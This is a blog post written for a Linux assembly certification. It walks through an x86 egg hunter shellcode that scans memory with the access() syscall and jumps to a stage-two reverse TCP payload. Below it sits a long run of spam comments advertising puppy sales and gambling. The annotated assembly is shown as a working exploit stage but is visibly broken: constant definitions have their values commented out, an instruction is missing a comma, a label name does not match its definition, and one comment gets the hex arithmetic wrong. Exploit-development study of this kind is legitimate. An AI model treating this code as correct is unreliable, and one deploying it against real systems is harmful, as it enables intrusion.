Egg Hunter

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

http:/securitytube-training.com/online-courses/securitytube-linux-assembly-expert

Student ID: SLAE-1517
Github: https://github.com/pyt3ra/SLAE-Certification.git

SLAE Assignment #3 - Egghunter
        

          - Create a working demo of the egg hunter

~~~~~~~~~//*****//~~~~~~~~~


For the 3rd assignment, I will be creating an 'egg hunter' shellcode. This wasn't covered in the SLAE course. As mentioned by a lot of SLAE blogs, a good source is from skape research paper. My shellcode did not deviate too much from what skape has shown. I created some labels to make it more readable and easier to follow the flow of instructions.

What is an egg_hunter? Why do we need it?

An egg hunter is a shellcode that points to another shellcode. It is basically a staged shellcode where the egg hunter shellcode is stage one while the actual shellcode that spawns the shell (reverse, bind, meterpreter, etc) is stage two. It is needed during an exploit development (i.e. buffer overflow) where the application only allows a small space for a shellcode--too small for the stage two shellcode, however it has enough address space for stage one.

This is accomplished by using an 'egg(s)' which is a unique 8-byte opcode (or hex). The egg gets loaded into both the stage 1 and stage 2 shellcodes. When stage one shellcode executes, it searches for the unique 8-byte egg and transfers execution control (stage 2).

Here I globally defined egg with the following and then initialized eax, ebx, ecx, edx registers:

       %define _EGG                    0x50905090

       xor ebx, ebx                         ;remove x00/NULL byte
       mov ebx  _EGG                   ;move 0x50905090 egg into ebx register
       xor ecx, ecx                         ;remove x00/NULL byte  
       mul ecx                                ;intializes eax, ecx, edx with x000000000 value


We are now ready to do some system calls. According to skape, two system calls can be used: access() and sigaction(). For this write-up, I will only be using access().


We will be using the *pathname pointer argument to validate the address that will contain our egg.

 I globally defined two more variables: the access() syscall and EFAULT

      %define _SYSCALL_ERR       ;0xf2
      %define __NR_access              ;0x21

...and created two labels: NEXT_PAGEFILE and NEXT_ADDRESS

The first label is used to switch to the next page if an invalid address memory is returned with the syscall...each pagefile/PAGESIZE contains 4096 bytes. This is accomplished using an OR instruction

NEXT_PAGEFILE:

      or dx, 0xfff                                 ;note that edx is the pointed *pathname
                                                         ;0xffff == 4095

The second label will be our meat and potatoes. Within this label or procedure, we will be calling the access(2) syscall, compare the results (egg hunting), and loop through the address space.

NEXT_ADDRESS:

        inc edx                               ;increments edx, checks next address if it contains the egg
        pusha                                 ;push eax, ebx, ecx, edx....these registers are used multiple 
                                                   ;pushing them to the stack to preserve values when popped
        lea ebx, [edx +4]
        xor eax, eax                      ;remove x00/NULL byte
        mov al, __NR_access       ;syscall 33 for access(2)
        int 0x80                            ;interrupt/execute

        ;egg hunting begins

        cmp al, SYSCALL_ERR ;compares return value of al to 0xf2 (EFAULT)
        popa                                 ;branch, pop eax, ebx, ecx, edx
        jz NEXT_PAGEFILE     ;al return value == EFAULT value, invalid address memory
                                                 ;move to the next PAGESIZE

        cmp [edx], ebx                 ;if al retun value != EFAULT value, execute this instruction
                                                 ;compares the egg with edx value
        jnz NEXT_ADDRESS    ;not EFAULT but _EGG not found, loop again


        cmp[edx +4], ebx             ;_EGG found, test for the next 4 byte of the _EGG
       jnz NEXT_ADDRESS     ;if next 4 bytes of edx value !=_EGG, loop again

       jmp edx                             ;finally, 8 bytes of _EGG found, jmp to address of edx     

We compile our nasm file and obtain our shellcode using objdump.


We now have our stage one shellcode and for the stage two shellcode, I will be using the reverse TCP shellcode from SLAE Assignment #2.

I updated the shellcode.c file to include both stage one and stage two shellcodes as seen below.



For testing, I am using my kali box again to receive the reverse TCP shell. We compile our shellcode.c, open a listener in Kali and run the exploit.



SUCCESS!!



Comments

  1. Great Article Cyber Security Projects projects for cse Networking Security Projects JavaScript Training in Chennai JavaScript Training in Chennai The Angular Training covers a wide range of topics including Components, Angular Directives, Angular Services, Pipes, security fundamentals, Routing, and Angular programmability. The new Angular TRaining will lay the foundation you need to specialise in Single Page Application developer. Angular Training

    ReplyDelete
  2. Greetings From New Day Yorkies puppies - Specializing
    We are small breeders whose goal is to produce healthy, high quality little teacup size Yorkie puppies for sale. In order to have puppies for sale most of the time we have teamed up with a couple of other Yorkie breeders that have the same goals in mine. In fact we have some of their Yorkie breeders and they have some of our breeders.https://www.newdaypuppies.com
    yorkies for sale
    teacup yorkie puppies for sale
    tea cup yorkie puppy for sale
    yorkshire terrier for sale

    ReplyDelete
  3. https://www.newdaypuppies.com/
    https://www.newdaypuppies.com/teacup-yorkie-puppies-for-sale/
    https://www.newdaypuppies.com/tea-cup-yorkie-puppy-for-sale/
    https://www.newdaypuppies.com/yorkshire-terrier-for-sale-near-me/
    https://www.newdaypuppies.com/yorkie-terrier-puppy-for-sale-near-me/

    ReplyDelete


  4. Are Yorkies good for first time dog owners?
    teacup yorkie for sale
    The Yorkshire terrier is a great starter dog for those who want a little lap dog. This breed is affectionate towards its owner and may even act protective around strangers.
    The Yorkie has a moderate energy level and only needs basic exercise.

    yorkie puppies for sale good for first time owners?
    yorkie puppies for sale
    It is the ideal pet for people who don't want to deal with pet fur at home or in their cars. This is the ideal pet for first time dog owners, since it trains easily and needs only moderate grooming maintenance. Yorkie poos are good with kids. It will play with them, is energetic and affectionate.

    Are Yorkie hypoallergenic? Yes
    Are Yorkie Poo good for first time owners?
    yorkie for sale
    It is the ideal pet for people who don't want to deal with pet fur at home or in their cars. This is the ideal pet for first time dog owners, since it trains easily and needs only moderate grooming maintenance. Yorkie poos are good with kids. It will play with them, is energetic and affectionate.
    teacup chihuahuas for sale

    Are Yorkie Poos good dogs?
    yorkies for sale

    ReplyDelete


  5. Are Chihuahua puppies hard to train?
    chihuahua puppies for sale
    Chihuahuas are intelligent, strong-minded dogs that like to do their own thing. This can make them stubborn, earning them a reputation for being hard to train. However, reward-based training methods do appeal to a Chihuahua and there's no reason why they can't be trained to be obedient, just as with any dog

    Chihuahuas Have Fun, Playful Personalities
    teacup chihuahuas for sale
    Though chihuahuas are loyal and affectionate with their owners, they are anything but dull and love to play! However, no two chihuahuas are the same, so if you have a friend with a chihuahua, your pet is likely to be quite different and unique

    What food is bad for Chihuahua?
    teacup chihuahua for sale
    Foods Your Chihuahua Shouldn't Eat
    Alcohol. Alcohol (ethanol) is highly toxic to dogs. ...
    Caffeine. Coffee is one of the world's most popular beverages, with roughly 83% of the United States adult population consuming it on a daily basis. ...
    Chocolate. ...
    Some Fruit Seeds, Pits and Cores. ...
    Garlic. ...
    Grapes and Raisins. ...
    Hops. ...
    Onions.
    chihuahua puppy for sale

    The easiest way to adopt a Chihuahua would be through a rescue that specializes in Chihuahuas. A great place to start would be by starting a breed search on https://www.chihuahuapuppiesforsale1.com/chihuahua-puppies-for-sale-near-me/. The search will show you all the available Chihuahuas in your area.
    chihuahua puppies for sale near me

    ReplyDelete


  6. Is a Yorkie a good family dog?
    yorkie puppies for sale
    Yorkies, like many other Toy breeds, make good pets for people; they're especially good for senior citizens, people with medical issues, and those who may worry about the size and strength of a larger dog. ... They're loving, devoted, and very affectionate: This makes them great personal companions and good family pets.

    Do Yorkshire terriers bark a lot?
    teacup yorkie for sale
    Yorkshire Terriers are little dogs with huge personalities. yorkies for sale With those huge personalities come a fierce territorial bark. Any time your phone rings, someone speaks or knocks on your door, or your doorbell chimes, your Yorkshire Terrier will likely bark. Outside noises aren't even required for barking for some Yorkies. yorkie for sale near me

    How much do Yorkshire terriers cost?
    yorkies puppy for sale
    Typical Yorkie prices range from $1,500 to $3,000, but the cost can fall far below or above that range. Prices will vary based on the puppy's lineage, appearance, health, and the breeder. It's also possible to adopt an older Yorkie for significantly less through a rescue shelter.

    ReplyDelete


  7. How long does a Yorkie live? 13 – 16 years
    Are Yorkies cuddlers?
    A lover of all things comfortable, the Yorkshire terrier enjoys cuddling with loved ones and snuggling into everything soft and fluffy. And for you, their silky coat isn't too bad for petting. https://www.newdaypuppies.com/

    Adorable Teacup and Toy AKC Yorkie Puppies
    We have adorable Yorkshire Terrier puppies male and female (she is pictured with the bow).The little girl was born on and the male was born on. yorkie teacup for sale Both puppies have started potty training and have had all sets of puppy shots and deworming. They both come with AKC papers.The girl is very petite and has an adorable baby doll face. yorkies for sale near me She is a teacup and will mature to be around just lbs. She is very gentle and easy going She is the princess in our home and loves to be held.The male is full of spunk and is super playful He will mature to be lbs and would make an awesome family dog. He has a gorgeous silky coat and adorable teddy bear face.Both puppies are AKC registered and will come with a health guarantee shot record and sample puppy food. teacup yorkies for sale, teacup yorkie puppies for sale

    Adorable Teacup and Toy AKC Yorkie Puppies is a Female, Male Yorkshire Terrier Puppy for sale in US. Adorable Teacup and Toy AKC Yorkie Puppies by newdaypuppies for Female, Male Yorkshire Terrier Puppies. yorkshire terrier for sale

    ReplyDelete
  8. https://www.chihuahuapuppiesforsale1.com/
    http://www.myppuphouse.com/
    https://www.yorkiespuppiessale.com/
    https://chowchowpuppiessale.com/
    http://www.globalkittens.com/

    ReplyDelete


  9. Is a Yorkie a good family dog?
    Yorkies, like many other Toy breeds, make good pets for people; they're especially good for senior citizens, people with medical issues, and those who may worry about the size and strength of a larger dog. ... They're loving, devoted, and very affectionate: This makes them great personal companions and good family pets.

    Do Yorkshire terriers bark a lot?
    yorkies for sale
    Yorkshire Terriers are little dogs with huge personalities. teacup yorkies for sale With those huge personalities come a fierce territorial bark. Any time your phone rings, someone speaks or knocks on your door, or your doorbell chimes, your Yorkshire Terrier will likely bark. Outside noises aren't even required for barking for some Yorkies. yorkie puppies for sale

    How much do Yorkshire terriers cost?
    yorkie for sale near me
    Typical Yorkie prices range from $1,500 to $3,000, but the cost can fall far below or above that range. Prices will vary based on the puppy's lineage, appearance, health, and the breeder. It's also possible to adopt an older Yorkie for significantly less through a rescue shelter. yorkie for sale


    ReplyDelete
  10. you will need support or suggestions, write me privately.
    I interested in your implementation/use case.
    the best situs slot terbaik
    Togel2win

    ReplyDelete

Post a Comment